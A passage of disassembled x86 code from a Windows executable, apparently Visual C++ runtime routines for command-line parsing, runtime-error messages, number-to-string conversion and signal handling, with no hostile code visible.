[ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_426634: ; CODE XREF: sub_426400+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_426641: ; CODE XREF: sub_426400+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_42664F: ; CODE XREF: sub_426400+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_42666E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_42664F ; --------------------------------------------------------------------------- loc_42666E: ; CODE XREF: sub_426400+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_4266CA mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_4266C2 cmp [ebp+var_14], 0 jz short loc_4266AF mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_4266A6 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4266AD ; --------------------------------------------------------------------------- loc_4266A6: ; CODE XREF: sub_426400+299j mov [ebp+var_8], 0 loc_4266AD: ; CODE XREF: sub_426400+2A4j jmp short loc_4266B6 ; --------------------------------------------------------------------------- loc_4266AF: ; CODE XREF: sub_426400+28Dj mov [ebp+var_8], 0 loc_4266B6: ; CODE XREF: sub_426400:loc_4266ADj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_4266C2: ; CODE XREF: sub_426400+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_4266CA: ; CODE XREF: sub_426400+277j ; sub_426400+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_4266FE cmp [ebp+arg_8], 0 jz short loc_4266EF mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_4266EF: ; CODE XREF: sub_426400+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_4266CA ; --------------------------------------------------------------------------- loc_4266FE: ; CODE XREF: sub_426400+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_426724 cmp [ebp+var_14], 0 jnz short loc_426729 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_426724 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_426729 loc_426724: ; CODE XREF: sub_426400+306j ; sub_426400+317j jmp loc_4267D4 ; --------------------------------------------------------------------------- loc_426729: ; CODE XREF: sub_426400+30Cj ; sub_426400+322j cmp [ebp+var_8], 0 jz loc_4267C6 cmp [ebp+arg_8], 0 jz short loc_42678D mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DB681[eax] and ecx, 4 test ecx, ecx jz short loc_426778 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_426778: ; CODE XREF: sub_426400+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_4267B9 ; --------------------------------------------------------------------------- loc_42678D: ; CODE XREF: sub_426400+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DB681[eax] and ecx, 4 test ecx, ecx jz short loc_4267B9 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_4267B9: ; CODE XREF: sub_426400+38Bj ; sub_426400+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_4267C6: ; CODE XREF: sub_426400+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_426641 ; --------------------------------------------------------------------------- loc_4267D4: ; CODE XREF: sub_426400:loc_426724j cmp [ebp+arg_8], 0 jz short loc_4267E9 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_4267E9: ; CODE XREF: sub_426400+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_4265E3 ; --------------------------------------------------------------------------- loc_4267FB: ; CODE XREF: sub_426400+218j cmp [ebp+arg_4], 0 jz short loc_426813 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_426813: ; CODE XREF: sub_426400+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_426400 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-18h], 0 cmp dword_4DB2D8, 0 jnz short loc_42688A call near ptr 2670000h nop mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jz short loc_426868 mov dword_4DB2D8, 1 jmp short loc_42688A ; --------------------------------------------------------------------------- loc_426868: ; CODE XREF: ___:0042685Aj nop call near ptr 28E143Ch mov [ebp-18h], eax cmp dword ptr [ebp-18h], 0 jz short loc_426883 mov dword_4DB2D8, 2 jmp short loc_42688A ; --------------------------------------------------------------------------- loc_426883: ; CODE XREF: ___:00426875j xor eax, eax jmp loc_426A45 ; --------------------------------------------------------------------------- loc_42688A: ; CODE XREF: ___:0042684Bj ; ___:00426866j ... cmp dword_4DB2D8, 1 jnz loc_42698E cmp dword ptr [ebp-14h], 0 jnz short loc_4268B3 nop call near ptr 2670000h mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz short loc_4268B3 xor eax, eax jmp loc_426A45 ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: ___:0042689Bj ; ___:004268AAj mov eax, [ebp-14h] mov [ebp-8], eax loc_4268B9: ; CODE XREF: ___:loc_4268E3j mov ecx, [ebp-8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_4268E5 mov eax, [ebp-8] add eax, 2 mov [ebp-8], eax mov ecx, [ebp-8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_4268E3 mov eax, [ebp-8] add eax, 2 mov [ebp-8], eax loc_4268E3: ; CODE XREF: ___:004268D8j jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_4268E5: ; CODE XREF: ___:004268C3j mov ecx, [ebp-8] sub ecx, [ebp-14h] sar ecx, 1 add ecx, 1 mov [ebp-4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp-4] push edx mov eax, [ebp-14h] push eax push 0 push 0 call near ptr 2710000h nop mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jz short loc_426934 push 64h push offset dword_434298 push 2 mov ecx, [ebp-10h] push ecx call sub_414DD0 add esp, 10h mov [ebp-18h], eax cmp dword ptr [ebp-18h], 0 jnz short loc_426945 loc_426934: ; CODE XREF: ___:00426914j mov edx, [ebp-14h] push edx nop call near ptr 28E13DBh xor eax, eax jmp loc_426A45 ; --------------------------------------------------------------------------- loc_426945: ; CODE XREF: ___:00426932j push 0 push 0 mov eax, [ebp-10h] push eax mov ecx, [ebp-18h] push ecx mov edx, [ebp-4] push edx mov eax, [ebp-14h] push eax push 0 push 0 nop call near ptr 2710000h test eax, eax jnz short loc_42697C push 2 mov ecx, [ebp-18h] push ecx call sub_415860 add esp, 8 mov dword ptr [ebp-18h], 0 loc_42697C: ; CODE XREF: ___:00426965j mov edx, [ebp-14h] push edx nop call near ptr 28E13DBh mov eax, [ebp-18h] jmp loc_426A45 ; --------------------------------------------------------------------------- loc_42698E: ; CODE XREF: ___:00426891j cmp dword_4DB2D8, 2 jnz loc_426A43 cmp dword ptr [ebp-18h], 0 jnz short loc_4269B7 nop call near ptr 28E143Ch mov [ebp-18h], eax cmp dword ptr [ebp-18h], 0 jnz short loc_4269B7 xor eax, eax jmp loc_426A45 ; --------------------------------------------------------------------------- loc_4269B7: ; CODE XREF: ___:0042699Fj ; ___:004269AEj mov eax, [ebp-18h] mov [ebp-0Ch], eax loc_4269BD: ; CODE XREF: ___:loc_4269E3j mov ecx, [ebp-0Ch] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4269E5 mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax mov ecx, [ebp-0Ch] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4269E3 mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_4269E3: ; CODE XREF: ___:004269D8j jmp short loc_4269BD ; --------------------------------------------------------------------------- loc_4269E5: ; CODE XREF: ___:004269C5j mov ecx, [ebp-0Ch] sub ecx, [ebp-18h] add ecx, 1 mov [ebp-10h], ecx push 8Fh push offset dword_434298 push 2 mov edx, [ebp-10h] push edx call sub_414DD0 add esp, 10h mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_426A20 mov eax, [ebp-18h] push eax nop call near ptr 28E12BDh xor eax, eax jmp short loc_426A45 ; --------------------------------------------------------------------------- loc_426A20: ; CODE XREF: ___:00426A10j mov ecx, [ebp-10h] push ecx mov edx, [ebp-18h] push edx mov eax, [ebp-0Ch] push eax call sub_4187B0 add esp, 0Ch mov ecx, [ebp-18h] push ecx nop call near ptr 28E12BDh mov eax, [ebp-0Ch] jmp short loc_426A45 ; --------------------------------------------------------------------------- loc_426A43: ; CODE XREF: ___:00426995j xor eax, eax loc_426A45: ; CODE XREF: ___:00426885j ; ___:004268AEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A54 proc near ; DATA XREF: sub_424150+Ao ; sub_424340+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_426AF4 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_426A87: ; CODE XREF: sub_426A54+90j cmp esi, 0FFFFFFFFh jz short loc_426AED lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_426ADB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_426ADB js short loc_426AE6 mov edi, [ebx+8] push ebx call sub_4196B0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4196F2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_419786 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_426ADB: ; CODE XREF: sub_426A54+40j ; sub_426A54+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_426A87 ; --------------------------------------------------------------------------- loc_426AE6: ; CODE XREF: sub_426A54+54j mov eax, 0 jmp short loc_426B09 ; --------------------------------------------------------------------------- loc_426AED: ; CODE XREF: sub_426A54+36j mov eax, 1 jmp short loc_426B09 ; --------------------------------------------------------------------------- loc_426AF4: ; CODE XREF: sub_426A54+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4196F2 add esp, 8 pop ebp mov eax, 1 loc_426B09: ; CODE XREF: sub_426A54+97j ; sub_426A54+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_426A54 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4196F2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B30 proc near ; CODE XREF: sub_41A9A0+Cp ; ___:0041A9DCp push ebp mov ebp, esp cmp dword_4DB124, 1 jz short loc_426B4E cmp dword_4DB124, 0 jnz short loc_426B77 cmp dword_443B84, 1 jnz short loc_426B77 loc_426B4E: ; CODE XREF: sub_426B30+Aj push 0FCh call sub_426B80 add esp, 4 cmp dword_4DB2DC, 0 jz short loc_426B6A call dword_4DB2DC loc_426B6A: ; CODE XREF: sub_426B30+32j push 0FFh call sub_426B80 add esp, 4 loc_426B77: ; CODE XREF: sub_426B30+13j ; sub_426B30+1Cj pop ebp retn sub_426B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B80 proc near ; CODE XREF: sub_41A9A0+15p ; ___:0041A9E5p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_426B9E ; --------------------------------------------------------------------------- loc_426B95: ; CODE XREF: sub_426B80:loc_426BB5j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_426B9E: ; CODE XREF: sub_426B80+13j cmp [ebp+var_8], 12h jnb short loc_426BB7 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, dword_444450[ecx*8] jnz short loc_426BB5 jmp short loc_426BB7 ; --------------------------------------------------------------------------- loc_426BB5: ; CODE XREF: sub_426B80+31j jmp short loc_426B95 ; --------------------------------------------------------------------------- loc_426BB7: ; CODE XREF: sub_426B80+22j ; sub_426B80+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, dword_444450[eax*8] jnz loc_426D38 cmp [ebp+arg_0], 0FCh jz short loc_426BF4 mov edx, [ebp+var_8] mov eax, off_444454[edx*8] push eax push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_426BF4 int 3 ; Trap to Debugger loc_426BF4: ; CODE XREF: sub_426B80+51j ; sub_426B80+71j cmp dword_4DB124, 1 jz short loc_426C0F cmp dword_4DB124, 0 jnz short loc_426C48 cmp dword_443B84, 1 jnz short loc_426C48 loc_426C0F: ; CODE XREF: sub_426B80+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, off_444454[edx*8] push eax call sub_414BE0 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, off_444454[ecx*8] push edx push 0FFFFFFF4h nop call near ptr 2860000h push eax nop call near ptr 2720000h jmp loc_426D38 ; --------------------------------------------------------------------------- loc_426C48: ; CODE XREF: sub_426B80+84j ; sub_426B80+8Dj cmp [ebp+arg_0], 0FCh jz loc_426D38 push 104h lea eax, [ebp+var_110] push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_426C81 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_4184C0 add esp, 8 loc_426C81: ; CODE XREF: sub_426B80+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_414BE0 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_426CCA lea ecx, [ebp+var_110] push ecx call sub_414BE0 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_417770 add esp, 0Ch loc_426CCA: ; CODE XREF: sub_426B80+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_4184C0 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_4184D0 add esp, 8 push offset asc_433E58 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_4184D0 add esp, 8 mov eax, [ebp+var_8] mov ecx, off_444454[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_4184D0 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_427610 add esp, 0Ch loc_426D38: ; CODE XREF: sub_426B80+44j ; sub_426B80+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_426B80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_426D56 ; --------------------------------------------------------------------------- loc_426D4D: ; CODE XREF: ___:loc_426D6Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_426D56: ; CODE XREF: ___:00426D4Bj cmp dword ptr [ebp-4], 12h jnb short loc_426D6F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, dword_444450[ecx*8] jnz short loc_426D6D jmp short loc_426D6F ; --------------------------------------------------------------------------- loc_426D6D: ; CODE XREF: ___:00426D69j jmp short loc_426D4D ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: ___:00426D5Aj ; ___:00426D6Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, dword_444450[eax*8] jnz short loc_426D8A mov edx, [ebp-4] mov eax, off_444454[edx*8] jmp short loc_426D8C ; --------------------------------------------------------------------------- loc_426D8A: ; CODE XREF: ___:00426D7Cj xor eax, eax loc_426D8C: ; CODE XREF: ___:00426D88j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D90 proc near ; CODE XREF: sub_41AB10+31Dp ; sub_42BE10+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426DB7 cmp [ebp+arg_0], 0 jge short loc_426DB7 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_426DE0 add esp, 10h jmp short loc_426DCD ; --------------------------------------------------------------------------- loc_426DB7: ; CODE XREF: sub_426D90+7j ; sub_426D90+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_426DE0 add esp, 10h loc_426DCD: ; CODE XREF: sub_426D90+25j mov eax, [ebp+arg_4] pop ebp retn sub_426D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426DE0 proc near ; CODE XREF: sub_426D90+1Dp ; sub_426D90+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_426E09 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_426E09: ; CODE XREF: sub_426DE0+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_426E0F: ; CODE XREF: sub_426DE0+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_426E41 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_426E55 ; --------------------------------------------------------------------------- loc_426E41: ; CODE XREF: sub_426DE0+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_426E55: ; CODE XREF: sub_426DE0+5Fj cmp [ebp+arg_0], 0 ja short loc_426E0F mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_426E6A: ; CODE XREF: sub_426DE0+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_426E6A mov esp, ebp pop ebp retn sub_426DE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_426EC9 cmp dword ptr [ebp+8], 0 jge short loc_426EC9 mov dword ptr [ebp-4], 1 jmp short loc_426ED0 ; --------------------------------------------------------------------------- loc_426EC9: ; CODE XREF: ___:00426EB8j ; ___:00426EBEj mov dword ptr [ebp-4], 0 loc_426ED0: ; CODE XREF: ___:00426EC7j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_426DE0 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_426DE0 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_426F31 cmp dword ptr [ebp+0Ch], 0 jg short loc_426F31 jl short loc_426F28 cmp dword ptr [ebp+8], 0 jnb short loc_426F31 loc_426F28: ; CODE XREF: ___:00426F20j mov dword ptr [ebp-4], 1 jmp short loc_426F38 ; --------------------------------------------------------------------------- loc_426F31: ; CODE XREF: ___:00426F18j ; ___:00426F1Ej ... mov dword ptr [ebp-4], 0 loc_426F38: ; CODE XREF: ___:00426F2Fj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_426F60 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F60 proc near ; CODE XREF: ___:00426F4Cp ; ___:00427075p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_426F94 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_426F94: ; CODE XREF: sub_426F60+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_426F9A: ; CODE XREF: sub_426F60+9Fj ; sub_426F60+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41A440 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A3D0 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_426FE7 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_426FFB ; --------------------------------------------------------------------------- loc_426FE7: ; CODE XREF: sub_426F60+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_426FFB: ; CODE XREF: sub_426F60+85j cmp [ebp+arg_4], 0 ja short loc_426F9A jb short loc_427009 cmp [ebp+arg_0], 0 ja short loc_426F9A loc_427009: ; CODE XREF: sub_426F60+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_427018: ; CODE XREF: sub_426F60+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_427018 mov esp, ebp pop ebp retn 14h sub_426F60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_426F60 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_427093 cmp dword ptr [ebp+0Ch], 3 jnz short loc_427098 loc_427093: ; CODE XREF: ___:0042708Bj jmp loc_427268 ; --------------------------------------------------------------------------- loc_427098: ; CODE XREF: ___:00427091j cmp dword ptr [ebp+8], 2 jz short loc_4270B4 cmp dword ptr [ebp+8], 15h jz short loc_4270B4 cmp dword ptr [ebp+8], 16h jz short loc_4270B4 cmp dword ptr [ebp+8], 0Fh jnz loc_427191 loc_4270B4: ; CODE XREF: ___:0042709Cj ; ___:004270A2j ... push 1 call sub_41B780 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_4270CA cmp dword ptr [ebp+8], 15h jnz short loc_42710F loc_4270CA: ; CODE XREF: ___:004270C2j cmp dword_4DB2F0, 0 jnz short loc_42710F push 1 push offset sub_4272B0 call near ptr 27A0B9Dh nop cmp eax, 1 jnz short loc_4270F1 mov dword_4DB2F0, 1 jmp short loc_42710F ; --------------------------------------------------------------------------- loc_4270F1: ; CODE XREF: ___:004270E3j nop call near ptr 26908EFh mov esi, eax call sub_420530 mov [eax], esi push 1 call sub_41B820 add esp, 4 jmp loc_427268 ; --------------------------------------------------------------------------- loc_42710F: ; CODE XREF: ___:004270C8j ; ___:004270D1j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_427182 mov eax, [ebp-10h] xor edx, edx mov dl, byte_42728F[eax] jmp off_42727B[edx*4] loc_427136: ; DATA XREF: ___:off_42727Bo mov ecx, dword_4DB2E0 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4DB2E0, edx jmp short loc_427182 ; --------------------------------------------------------------------------- loc_42714A: ; CODE XREF: ___:0042712Fj ; DATA XREF: ___:00427283o mov eax, dword_4DB2E4 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4DB2E4, ecx jmp short loc_427182 ; --------------------------------------------------------------------------- loc_42715D: ; CODE XREF: ___:0042712Fj ; DATA XREF: ___:00427287o mov edx, dword_4DB2E8 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4DB2E8, eax jmp short loc_427182 ; --------------------------------------------------------------------------- loc_427170: ; CODE XREF: ___:0042712Fj ; DATA XREF: ___:0042727Fo mov ecx, dword_4DB2EC mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4DB2EC, edx loc_427182: ; CODE XREF: ___:00427122j ; ___:0042712Fj ... push 1 call sub_41B820 add esp, 4 jmp loc_427263 ; --------------------------------------------------------------------------- loc_427191: ; CODE XREF: ___:004270AEj cmp dword ptr [ebp+8], 8 jz short loc_4271A8 cmp dword ptr [ebp+8], 4 jz short loc_4271A8 cmp dword ptr [ebp+8], 0Bh jz short loc_4271A8 jmp loc_427268 ; --------------------------------------------------------------------------- loc_4271A8: ; CODE XREF: ___:00427195j ; ___:0042719Bj ... call sub_41F970 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_4443C8 jnz short loc_427205 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_444448 push ecx call sub_414DD0 add esp, 10h mov 